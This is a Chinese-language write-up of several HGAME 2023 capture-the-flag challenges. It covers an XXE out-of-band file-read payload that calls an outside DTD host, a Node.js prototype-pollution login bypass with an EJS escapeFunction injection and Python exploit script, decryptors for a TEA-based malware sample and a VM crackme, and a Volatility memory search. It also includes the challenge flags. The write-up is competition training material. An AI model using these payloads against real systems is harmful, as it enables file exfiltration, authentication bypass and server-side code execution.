web

1、Tell Me

Just tell me your thoughts

XXE任意文件读取，没有回显。可以OOB或者报错，显示出flag

抓包提交数据：

```
<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=./flag.php">
    <!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/evil.dtd">
    %dtd;
    %send;
]>
<user><name>11</name><email>11</email><content>11</content></user>
```

evil.dtd，可以随便输入地址做报错 也可以输入vps地址在vps接收flag:

```
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM
'http://aaa/%file;'>">
%start;
```

返回报文：

```
<br />
<b>Warning</b>:  DOMDocument::loadXML(): php_network_getaddresses:
getaddrinfo failed: No address associated with hostname in
<b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:
DOMDocument::loadXML(http://aaa/PD9waHAgDQogICAgJGZsYWcxID0gImhnYW1
le0JlX0F3YXJlXzBmX1hYZUJsMW5kMW5qZWN0aTBufSI7DQo/Pg==): failed to
open stream: php_network_getaddresses: getaddrinfo failed: No
address associated with hostname in <b>/var/www/html/send.php</b>
on line <b>10</b><br />
Success! I will see it later
```

解base64得到flag：
PD9waHAgDQogICAgJGZsYWcxID0gImhnYW1le0JlX0F3YXJlXzBmX1hYZUJsMW5kMW5qZWN0aTBufSI7DQo/Pg==

2、Shared Diary

ek1ng给协会成员写了一个在线共享日记本，不论是谁只要知道密码，都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞，看来js也有很多安全问题。

nodejs 原型链污染

```
function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
```

登录，抓包替换：

```
POST /login HTTP/1.1
Host: week-4.hgame.lwsec.cn:30850
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/109.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
age/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 66
Origin: http://week-4.hgame.lwsec.cn:30374
Connection: close
Referer: http://week-4.hgame.lwsec.cn:30374/login
Cookie: _ga_P1E9Z5LRRK=GS1.1.1673837637.2.1.1673838323.0.0.0;
_ga=GA1.1.1102886254.1673834908;
session=s%3AeHYSlXsJuCwHSE2op1dGfk6wOaYz6gqa.tCkgur7A1nJb5FdP5UpaRH
gKXnR6usYvJB1nizkAdv0
Upgrade-Insecure-Requests: 1

{"constructor": {"prototype": {"role":
"admin"}},"username":"admin","password":"22"}
```

登陆成功。

outputFunctionName 打不通，本地看了下ejs.js，发现增加了正则校验

```
 if (opts.outputFunctionName) {
        if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
          throw new Error('outputFunctionName is not a valid JS
identifier.');
        }
        prepended += '  var ' + opts.outputFunctionName + ' =
__append;' + '\n';
      }
```

往下审查代码，找到了一处可用的，escapeFn来自opt.escapeFunction

```
if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' +
'\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' +
'\n' + src;
      }
    }
```

反弹本地能打通，远程打不通，只好读文件，payload：

```
 {"constructor": {"prototype": {"role":
"admin","client":True,"escapeFunction":"1; return
global.process.mainModule.require('fs').readFileSync('/flag')"}},"u
sername":"admin","password":"22"}
```

exp：

```
import requests
import json
req = requests.Session()
# target_url = 'http://127.0.0.1:8888/login'
target_url = 'http://week-4.hgame.lwsec.cn:31548/login'
###读文件
payload = {"constructor": {"prototype": {"role":
"admin","client":True,"escapeFunction":"1; return
global.process.mainModule.require('fs').readFileSync('/flag')"}},"u
sername":"admin","password":"22"}

res = req.post(target_url,
data=json.dumps(payload),headers=headers)
print(res.text)
```

re

1、shellcode

兔兔的电脑不小心中了病毒，病毒把他写的论文给加密了，你能帮兔兔恢复吗？

流程

1、读取文件夹inputdir：

```
.text:000000000025608F sub     rsp, 0B0h
.text:0000000000256096 mov     [rsp+0B0h+var_8], rbp
.text:000000000025609E lea     rbp, [rsp+0B0h+var_8]
.text:00000000002560A6 lea     rax, aInputdir        ; "inputdir"
.text:00000000002560AD mov     ebx, 8
.text:00000000002560B2 call    io_ioutil_ReadDir
.text:00000000002560B2
```

2、解base64：

```
.text:00000000002560B7 mov     [rsp+0B0h+var_30], rax
.text:00000000002560BF mov     [rsp+0B0h+var_60], rbx
.text:00000000002560C4 mov     rcx, cs:encoding_base64_StdEncoding
.text:00000000002560CB mov     rax, rcx
.text:00000000002560CE lea     rbx, aDiscussionToPr+13Dh ;
"VUiD7FBIjWwkIEiJTUBIi0VAiwCJRQC4BAAAAEg"...
.text:00000000002560D5 mov     ecx, 284
.text:00000000002560DA call
encoding_base64___Encoding__DecodeString
```

3、申请内存，可执行，划重点

```
.text:00000000002560F5 mov     rcx, [rsp+0B0h+unbaselen]
.text:00000000002560FA mov     [rax+8], rcx
.text:00000000002560FE mov     qword ptr [rax+10h], 3000h
.text:0000000000256106 mov     qword ptr [rax+18h], 40h ; '@'
.text:000000000025610E mov     rdx, cs:main_VirtualAlloc
.text:0000000000256115 mov     rbx, rax
.text:0000000000256118 mov     edi, 4
.text:000000000025611D mov     rax, rdx
.text:0000000000256120 mov     rcx, rdi
.text:0000000000256123 call    syscall___LazyProc__Call
```

4、解开的base64数据，memcpy 到申请的内存

```
.text:00000000002560F5 mov     rcx, [rsp+0B0h+unbaselen]
.text:00000000002560FA mov     [rax+8], rcx
.text:00000000002560FE mov     qword ptr [rax+10h], 3000h
.text:0000000000256106 mov     qword ptr [rax+18h], 40h ; '@'
.text:000000000025610E mov     rdx, cs:main_VirtualAlloc
.text:0000000000256115 mov     rbx, rax
.text:0000000000256118 mov     edi, 4
.text:000000000025611D mov     rax, rdx
.text:0000000000256120 mov     rcx, rdi
.text:0000000000256123 call    syscall___LazyProc__Call
```

后面是读取文件，加密，写入inputdir下文件，就不贴了

重点是4执行后，查看申请的内存，转换为代码，发现是个魔改tea加密过程

```
_DWORD *__fastcall sub_1B92BE20000(__int64 a1, __int64 a2, __int64
a3, unsigned int *a4)
{
  _DWORD *result; // rax
  unsigned int v5; // [rsp+20h] [rbp-38h]
  __int64 v6; // [rsp+24h] [rbp-34h]
  unsigned int i; // [rsp+40h] [rbp-18h]

  v5 = *a4;
  v6 = a4[1];
  for ( i = 0; i < 0x20; ++i )
  {
    HIDWORD(v6) -= 1412567261;
    v5 += (((unsigned int)v6 >> 5) + 33) ^ (v6 + HIDWORD(v6)) ^ (16
* v6 + 22);
    LODWORD(v6) = v6 + (((v5 >> 5) + 55) ^ (v5 + HIDWORD(v6)) ^ (16
* v5 + 44));
  }
  *a4 = v5;
  result = a4 + 1;
  a4[1] = v6;
  return result;
}
```

下断点发现这就是加密过程，写出对应解密函数就行了

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "D:\workspace\c\std\idatypes.h"
//#include "itype.h"




_DWORD *  enc(unsigned int *a4)
{
  _DWORD *result; // rax
  unsigned int v5; // [rsp+20h] [rbp-38h]
  __int64 v6; // [rsp+24h] [rbp-34h]
  unsigned int i; // [rsp+40h] [rbp-18h]

  v5 = *a4;
  v6 = a4[1];
  printf("%x\n",v5);
  printf("%x\n",v6);
  for ( i = 0; i < 0x20; ++i )
  {
    HIDWORD(v6) -= 0x543210DD;
    v5 += (((unsigned int)v6 >> 5) + 33) ^ (v6 + HIDWORD(v6)) ^ (16
* v6 + 22);

    LODWORD(v6) = v6 + (((v5 >> 5) + 55) ^ (v5 + HIDWORD(v6)) ^ (16
* v5 + 44));
  }
  printf("%x\n",v5);
  printf("%x\n",v6);
  printf("%llx\n",HIDWORD(v6));
  return result;
}
```

```
_DWORD *  dec(unsigned int *a4)
{
  _DWORD *result; // rax
  unsigned int v5; // [rsp+20h] [rbp-38h]
  __int64 v6; // [rsp+24h] [rbp-34h]
  unsigned int i; // [rsp+40h] [rbp-18h]

  v5 = *a4;
  v6 = a4[1];
  //printf("%x\n",v5);
  //printf("%x\n",v6);
  HIDWORD(v6) = 0x79bde460;
  for ( i = 0; i < 0x20; ++i )
  {

    LODWORD(v6) = v6 - (((v5 >> 5) + 55) ^ (v5 + HIDWORD(v6)) ^ (16
* v5 + 44));
    v5 -= (((unsigned int)v6 >> 5) + 33) ^ (v6 + HIDWORD(v6)) ^ (16
* v6 + 22);
    HIDWORD(v6) += 0x54321ODD;
  }
  printf("0x%x,",v5);
  printf("0x%x,",v6);
  return result;
}

void main()
{
  unsigned char *a="0123456789abcdefghijklmnopqrstu";
  unsigned int  *p = a;
  enc(p);
  printf("---------\n");
  unsigned char
*b="\x20\x69\xb3\xe4\xd0\x24\x69\x93\x44\xd1\x16\xa8\xf5\xd5\x82\xa
a\xda\xf0\x79\x36\x06\xfd\x32\x7f\xd3\xc0\x60\x34\x39\x49\x21\xb7\x
a2\x69\x72\xe5\xfa\x51\x6a\x83";

  for(int i=0; i <48;i+=8)
  {
    unsigned int  *pp = b+i;
    dec(pp);
  }
```

```
  printf("\n");

}
```

得到：

```
0x6d616768,0x68747b65,0x315f7331,0x68745f73,0x75745f33,0x73277574,0
x6d30685f,0x72307765,0x7d6b,0x0,0x4adb98d,0xacb9e545
```

c并不熟练了 用python转一下：

```
a=
[0x6d616768,0x68747b65,0x315f7331,0x68745f73,0x75745f33,0x73277574,
0x6d30685f,0x72307765,0x7d6b,0x0,0x4adb98d,0xacb9e545]
flag=b''
for i in a:
    flag +=long_to_bytes(i)[::-1]
print(flag)
#b"hgame{th1s_1s_th3_tutu's_h0mew0rk}\x00\x8d\xb9\xad\x04E\xe5\xb9\
xac"
```

2、VM

动态调式，输入40个字节数据，一步步跟踪，对前两个字节的处理如下

```

```

```
code=[0, 3, 2, 0, 3, 0, 2, 3, 0, 0, 0, 0, 0, 2, 1, 0, 0, 3, 2, 50,
3, 0, 2, 3, 0, 0, 0, 0, 3, 0, 1, 0, 0, 3, 2, 100, 3, 0, 2, 3, 0, 0,
0, 0, 3, 3, 1, 0, 0, 3, 0, 8, 0, 2, 2, 1, 3, 4, 1, 0, 3, 5, 2, 0,
3, 0, 1, 2, 0, 2, 0, 1, 1, 0, 0, 3, 0, 1, 3, 0, 3, 0, 0, 2, 0, 3,
0, 3, 1, 40, 4, 6, 95, 5, 0, 0, 3, 3, 0, 2, 1, 0, 3, 2, 150, 3, 0,
2, 3, 0, 0, 0, 0, 4, 7, 136, 0, 3, 0, 1, 3, 0, 3, 0, 0, 2, 0, 3, 0,
3, 1, 40, 4, 7, 99, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
```

```
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0]
flag=b'hgame{01234567890123456789012345678901}'
flag=[104, 103, 97, 109, 101, 123, 48, 49, 50, 51, 52, 53, 54, 55,
56, 57, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 49, 50, 51, 52,
53, 54, 55, 56, 57, 48, 49, 50, 125, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
155, 168, 2, 188, 172, 156, 206, 250, 2, 185, 255, 58, 116, 72, 25,
105, 232, 3, 203, 201, 255, 252, 128, 214, 141, 215, 114, 0, 167,
29, 61, 153, 136, 153, 191, 232, 150, 46, 93, 87, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 201, 169, 189, 139, 23, 194, 110, 248, 245, 110, 99,
99, 213, 70, 93, 22, 152, 56, 48, 115, 56, 193, 94, 237, 176, 41,
90, 24, 64, 167, 253, 10, 30, 120, 139, 98, 219, 15, 143, 156, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 18432, 61696, 16384, 8448, 13569, 25600,
30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552,
44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960,
63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537,
41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
enc=[0]*50
a1=[0,0,0,0,0,0,0,0,0,0]
a1[2] += a1[3]

###处理第一个字节
a1[0] = flag[0]
a1[1] = a1[0]
a1[2] = code[0x13] = 50
a1[2] += a1[3]
a1[0] = flag[0x32] #flag[a1[2]] = flag[0x32] = 0x9b
a1[1] += a1[0] #= 0x103
a1[2] = code[0x23] #= 0x64
a1[2] += a1[3] #=0x64
a1[0] = flag[0x64] #=0xc9
a1[1] ^= a1[0]  #=0x1ca
a1[0] = code[0x33] #=8
a1[2] = a1[1]
a1[1] <<= a1[0]  # <<8 =  0x1ca00
a1[1] &= 0xff00 # <<8 =  0xca00
a1[2] >>= a1[0]  # >>8 =  1
a1[1] += a1[2]  # >>8 =  1
a1[0] = a1[1]  # >>8 =  1
```

```
a1[7] += 1
enc[a1[7]] = a1[0] # enc[1] = a1[0]
a1[0] = code[0x4d] # = 1
a1[3] +=a1[0]
a1[0] = a1[3]
a1[1] = code[0x59] # = 0x28

if a1[0] == a1[1]:  #循环中的判断length
    result_flag = 0
else:
    result_flag = 1
#print(hex(a1[0]),hex(a1[1]))

###处理第二个字节
a1[2]=code[3]  #=0
a1[2] += a1[3]
a1[0] = flag[1]
a1[1] = a1[0]
a1[2] = code[0x13] = 50
a1[2] += a1[3]  #i
a1[0] = flag[0x33]  #flag[a1[2]] = flag[0x67] = 0x9b
a1[1] += a1[0] #= 0x103
a1[2] = code[0x23] #= 0x64
a1[2] += a1[3]  #= 0x65
a1[0] = flag[0x65] #=0xc9
a1[1] ^= a1[0]  #=0x1ca
a1[0] = code[0x33] #=8
a1[2] = a1[1]
a1[1] <<= a1[0]  # <<8 =  0x1a600
a1[1] &= 0xff00 # <<8 =  0xa600
a1[2] >>= a1[0]  # >>8 =  1
a1[1] += a1[2]  # >>8 =  1
a1[0] = a1[1]  # >>8 =  1
a1[7] += 1
enc[a1[7]] = a1[0] # enc[2] = a1[0] 0xa601
a1[0] = code[0x4d] # = 1
a1[3] +=a1[0]
a1[0] = a1[3]
a1[1] = code[0x59] # = 0x28   length

print(hex(a1[3]))
```

循环加密，加密后的密文放到了另一个数组中，过程有了，可以写出对应的加密过程：

```
enc=[]
for i in range(0,0x28):
    a = a1[2] = flag[i]
    a += flag[0x32+i]
    a ^=flag[0x64+i]
    c = ((a <<8)&0xff00) + (a >> 8)
    enc.append(c)
```

0x28个字节加密完成后，开始进入check，继续跟踪，先取了最后一个密文

```
#check
c=enc[0x27]
a1[2] = code[0x68] # = 0x96
a1[2] +=a1[3] #a1[3] = 0   i+0x96

#跟到这里就发现 flag[0x96]开始是密文，不过是逆序的，先比较了最后个密文。
```

解密exp：

```
code=[0, 3, 2, 0, 3, 0, 2, 3, 0, 0, 0, 0, 0, 2, 1, 0, 0, 3, 2, 50,
3, 0, 2, 3, 0, 0, 0, 0, 3, 0, 1, 0, 0, 3, 2, 100, 3, 0, 2, 3, 0, 0,
0, 0, 3, 3, 1, 0, 0, 3, 0, 8, 0, 2, 2, 1, 3, 4, 1, 0, 3, 5, 2, 0,
3, 0, 1, 2, 0, 2, 0, 1, 1, 0, 0, 3, 0, 1, 3, 0, 3, 0, 0, 2, 0, 3,
0, 3, 1, 40, 4, 6, 95, 5, 0, 0, 3, 3, 0, 2, 1, 0, 3, 2, 150, 3, 0,
2, 3, 0, 0, 0, 0, 4, 7, 136, 0, 3, 0, 1, 3, 0, 3, 0, 0, 2, 0, 3, 0,
3, 1, 40, 4, 7, 99, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
```

```
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0]
#flag=b'hgame{01234567890123456789012345678901}'
flag=[104, 103, 97, 109, 101, 123, 48, 49, 50, 51, 52, 53, 54, 55,
56, 57, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 49, 50, 51, 52,
53, 54, 55, 56, 57, 48, 49, 50, 125, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
155, 168, 2, 188, 172, 156, 206, 250, 2, 185, 255, 58, 116, 72, 25,
105, 232, 3, 203, 201, 255, 252, 128, 214, 141, 215, 114, 0, 167,
29, 61, 153, 136, 153, 191, 232, 150, 46, 93, 87, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 201, 169, 189, 139, 23, 194, 110, 248, 245, 110, 99,
99, 213, 70, 93, 22, 152, 56, 48, 115, 56, 193, 94, 237, 176, 41,
90, 24, 64, 167, 253, 10, 30, 120, 139, 98, 219, 15, 143, 156, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 18432, 61696, 16384, 8448, 13569, 25600,
30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552,
44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960,
63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537,
41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
dec=[]
for i in range(0x28):
    j = 0x28-i-1
    c = flag[0x96+j]
    #print(hex(c))
    c = ((c <<8)&0xff00) + (c >> 8)
    c ^=flag[0x64+i]
    c -=flag[0x32+i]
    print(chr(c),end="")
```

misc

1、ezWin - variables

```
python vol.py  -f /mnt/d/ctf/ti/hgame2023/week4/misc-
ezWin/win10_22h2_19045.2486.vmem  windows.envars >
/mnt/d/ctf/ti/hgame2023/week4/misc-ezWin/envars
```

```
wz@u2204:~/ctf/tools/volatility3-1.0.0$ grep hgame
/mnt/d/ctf/ti/hgame2023/week4/misc-ezWin/envars
```

```
3492    sihost.exe      0x222e2561bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3520    svchost.exe     0x1d2f6e033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3528    svchost.exe     0x163d90033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3668    taskhostw.exe   0x1ced6651bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3828    ctfmon.exe      0x1e2d9081bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3992    explorer.exe    0x1151bf0       HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
4416    svchost.exe     0x22ece2033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
4448    ChsIME.exe      0x220b5941bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
4456    StartMenuExper  0x1bd3c003570   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
4720    RuntimeBroker.  0x229dee033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
5144    RuntimeBroker.  0x1c05ac033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
5544    TextInputHost.  0x28a0c003510   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
6084    PhoneExperienc  0x153aa4033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
6128    RuntimeBroker.  0x1407d8033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
